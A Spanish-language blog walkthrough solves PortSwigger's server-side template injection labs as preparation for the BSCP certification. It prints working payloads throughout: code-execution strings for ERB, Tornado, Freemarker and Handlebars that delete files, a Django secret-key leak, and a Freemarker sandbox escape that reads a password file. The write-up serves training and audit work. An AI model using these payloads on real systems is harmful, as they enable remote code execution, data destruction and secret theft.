¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.
Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.
En esta entrada explicaremos y solucionaremos todos los laboratorios adicionales relativos a Server-Side Template Injection (SSTI). Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!
La presencia de plantillas, a día de hoy, es bastante común en entornos de producción. En nuestra experiencia, no podemos decir que sea algo de uso masivo, pero sí que de vez en cuando hemos visto este tipo de tecnología. A pesar de que muchas veces están securizadas, las plantillas pueden ser una bomba de relojería, especialmente porque en caso de usarse de manera insegura suelen dar lugar a ejecución remota de código.
Hay que decir que estas vulnerabilidades son normalmente detectadas por escáneres automáticos con mayor precisión que de forma manual. Es difícil detectarlas a mano a menos que se busquen de manera específica. En cualquier caso, en estos laboratorios intentaremos hacerlo de manera manual.
Lab1 (Practicioner) – Basic server-side template injection
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.». En este laboratorio el objetivo es explotar una vulnerabilidad de SSTI en ERB y borrar el fichero «morale.txt».
Comenzamos mapeando la superficie de exposición de la aplicación. Más allá del acceso a los productos, solamente observamos una funcionalidad «extraña» y es que uno de los productos que está fuera de stock redirige a una URL que incluye un mensaje de error.

Tras identificar este punto que, debemos suponer, está basado en plantillas (podemos asumirlo y simplemente hacer ensayo/error), procedemos a intentar identificar la plantilla que se está utilizando. Para ello, incluimos el siguiente payload:
${{<%[%'"}}%\

El primer intento es infructuoso. Intentamos aplicar el esquema seguido en PortSwigger para este tipo de vulnerabilidades de SSTI. Fíjate en cómo vamos lanzando diferentes payloads para ir atravesando el esquema que nos propone PortSwigger:
Payload (Jinja2/Twig/Liquid/Mustache/Handlebars/Tornado): {{7*7}} - Respuesta: {{7*7}} => No ejecutado
Payload (Jinja2/Twig/Liquid/Mustache/Handlebars/Tornado): {%7*7%} - Respuesta: {%7*7%} => No ejecutado
Payload (Freemarker): ${7*7} - Respuesta: ${7*7} => No ejecutado
Payload (Freemarker): <#7*7> - Respuesta: <#7*7> => No ejecutado
Payload (Apache Velocity): $var - Respuesta: $var => No ejecutado
Payload (Apache Velocity): #directive(7*7) - Respuesta: #directive(7*7) => No ejecutado
Payload (Smarty): {$var} - Respuesta: {$var} => No ejecutado
Payload (Smarty): {* comment *} - Respuesta: {* comment *} => No ejecutado
Payload (ERB): <%=7*7%> - Respuesta: 49 => Ejecutado
Payload (ERB): <%7*7%> - Respuesta: Blanco => ¿Ejecutado?
Descubrimos, pues, el uso de ERB. Ahora, solamente necesitamos leer la documentación para observar cómo ejecutar comandos arbitrarios haciendo uso de ERB. Generamos el siguiente payload:
<%system('id')%>

Finalmente, resolvemos el laboratorio con el siguiente payload, en el que borramos el archivo deseado:
<%25system('rm+/home/carlos/morale.txt')%25>
No hay output, pero el laboratorio queda resuelto.

Lab2 (Practicioner) – Basic server-side template injection (code context)
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.». En este laboratorio el objetivo es explotar una vulnerabilidad de SSTI en Tornado y borrar el fichero «morale.txt».
De nuevo, mapeamos la superficie de exposición de la aplicación y vemos cómo existe la opción de seleccionar cómo queremos que se muestre la autoría de los posts, si con el «Name», «First name» o «Nickname».

Si evaluamos las peticiones que se lanzan cuando cambiamos el método preferido, podemos identificar cómo lo que se cambia a la hora de mostrar los posts es el campo preferido por el usuario:

En vista de lo anterior, podemos deducir que cada vez que se muestra un comentario, el nombre mostrado será obtenido de la aplicación y presentado como plantilla. Algo así como:
username = getQueryParameter('user.name')
engine.render("From {{"+username+"}}", data)
Así que, sabiendo que se usa Tornado como plantilla, si podemos inyectar el parámetro de usuario, nickname o first name podemos obtener ejecución remota de código. Sin embargo, no podemos retocar ninguno de esos parámetros, por lo que a priori puede parecer que no tenemos punto de inyección. Sin embargo, como hemos visto, al cambiar el «preferred name», se cambia el objeto de la plantilla utilizado. Por ello, el código server-side en pseudo-código podría ser algo así:
preferredname = getQueryParameter('preferredname')
engine.render("From {{"+preferredname+"}}", data)
Así que, si conseguimos que el campo «preferred name» incluya la inyección de plantillas, es posible que este valor también se vea reflejado. Por ejemplo, podemos utilizar el siguiente payload válido para Tornado:
user.name}}{{7*7
Fíjate que el render anterior quedaría como:
engine.render(«From {{user.name}}{{7*7}}», data)
Lo cual es perfectamente válido. Repetimos, pues, la petición de cambio de «preferred name» con el payload anterior:

Si ahora ponemos un comentario como «wiener» y lo visualizamos, vemos la ejecución de nuestro payload (el 49 es la clave):

Ahora, solamente nos queda obtener ejecución de código a través de Tornado. Leyendo la documentación, podemos hacerlo con el siguiente payload:
user.name}}{{7*7;import+os;os.system('rm+/home/carlos/morale.txt')
Y, como vemos, el laboratorio queda resuelto:

Lab3 (Practicioner) – Server-side template injection using documentation
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, identify the template engine and use the documentation to work out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.». En este laboratorio el objetivo es explotar una vulnerabilidad de SSTI y borrar el fichero «morale.txt».
Podemos utilizar el usuario proporcionado para iniciar sesión en la aplicación: content-manager:C0nt3ntM4n4g3r. Una vez dentro, es posible visualizar cómo el usuario tiene permiso para gestionar los contenidos de la web, generados a través de plantillas.

Al igual que en casos anteriores, vemos que el payload ${7*7} produce una salida 49. Eso es, existe una inyección de plantillas. Debido al uso de la estructura ${…} podemos inferir el uso de Freemarker. Lo confirmamos incluyendo un payload no válido:

Finalmente, debemos utilizar un payload válido para explotar la vulnerabilidad detectada. Dado que se usa Freemarker, podemos utilizar el siguiente payload para borrar el archivo deseado (consultando documentación, llegamos rápidamente al exploit):
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}

Lab4 (Practicioner) – Server-side template injection in an unknown language with a documented exploit
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.». En este laboratorio el objetivo es explotar una vulnerabilidad de SSTI y borrar el fichero «morale.txt».
Para este laboratorio, volvemos a detectar que al acceder a uno de los productos, la aplicación nos devuelve un mensaje de error de stock. Pivotaremos sobre esa petición, ya que es la vulnerable a SSTI:

Probamos, en primer lugar, un payload con numerosos caracteres inválidos con el objetivo de forzar un error y saber qué motor de plantillas se usa:
${{<%[%'"}}%\

En la imagen anterior, queda claro que se utiliza Handlebars como motor de plantillas. Buscamos ahora un payload que permita la ejecución remota de código en dicho motor y encontramos:
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}
Que, codificado, nos resuelve el laboratorio:
{{%23with+"s"+as+|string|}}{{%23with+"e"}}{{%23with+split+as+|conslist|}}{{this.pop}}{{this.push+(lookup+string.sub+"constructor")}}{{this.pop}}{{%23with+string.split+as+|codelist|}}{{this.pop}}{{this.push+"return+require('child_process').exec('rm+/home/carlos/morale.txt')%3b"}}{{this.pop}}{{%23each+conslist}}{{%23with+(string.sub.apply+0+codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}

Simplemente lanzando la petición, podemos darlo por resuelto.
Lab5 (Practicioner) – Server-side template injection with information disclosure via user-supplied objects
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, steal and submit the framework’s secret key.». En este laboratorio el objetivo es explotar una vulnerabilidad de SSTI obtener acceso a una API Key.
Volvemos de nuevo a acceder con las credenciales proporcionadas (content-manager:C0nt3ntM4n4g3r) y podemos observar cómo dicho usuario tiene permisos para modificar los productos basados en plantillas.

Comenzamos igualmente intentando identificar el motor de plantillas utilizado mediante un payload simple:
{{7*7}}

El error es claro, usándose motor de plantillas de Django. Leyendo la documentación, sabemos que en Django existe un elemento que siempre debemos enumerar:
{{settings.SECRET_KEY}}

Ahora, simplemente, incluye dicho valor como solución al laboratorio.
Lab6 (Expert) – Server-side template injection in a sandboxed environment
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, break out of the sandbox to read the file my_password.txt from Carlos’s home directory. Then submit the contents of the file». En este laboratorio el objetivo es explotar una vulnerabilidad de SSTI para obtener acceso a un fichero sensible.
Para no incluir evidencias duplicadas, nos vamos directos a la funcionalidad de edición de posts a la que tenemos acceso con las credenciales «content-manager:C0nt3ntM4n4g3r«. En ella, podemos incluir inyección de plantillas. Asimismo, podríamos enumerarlo, pero el propio laboratorio nos indica que se utiliza Freemarker:

Ahora, no podemos ejecutar código debido al sandbox en el que estamos. Probamos esto con el payload siguiente y confirmamos que el desarrollador ha incluido medidas:
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}

Por tanto, debemos intentar abusar de la inyección de manera no convencional, construyendo bypasses al sandbox. Podemos enumerarlos en sitios como Hacktricks (kudos a ellos por su GRAN trabajo y recursos que nos proporcionan): https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html.
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Convertimos bytes a ASCII y tenemos la solución:

Lab7 (Expert) – Server-side template injection with a custom exploit
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, create a custom exploit to delete the file /.ssh/id_rsa from Carlos’s home directory.». En este laboratorio el objetivo es explotar una vulnerabilidad de SSTI para borrar un fichero sensible.
Este laboratorio tiene muchos pasos y es mejor que sigas la guía de PortSwigger, ya que los desglosan perfectamente. En este caso, simplemente se trata de enumerar objetos y métodos a los que tenemos acceso, pero la cadena de explotación es compleja para indicarla entera en este post.
~km0xu95
Comments are closed.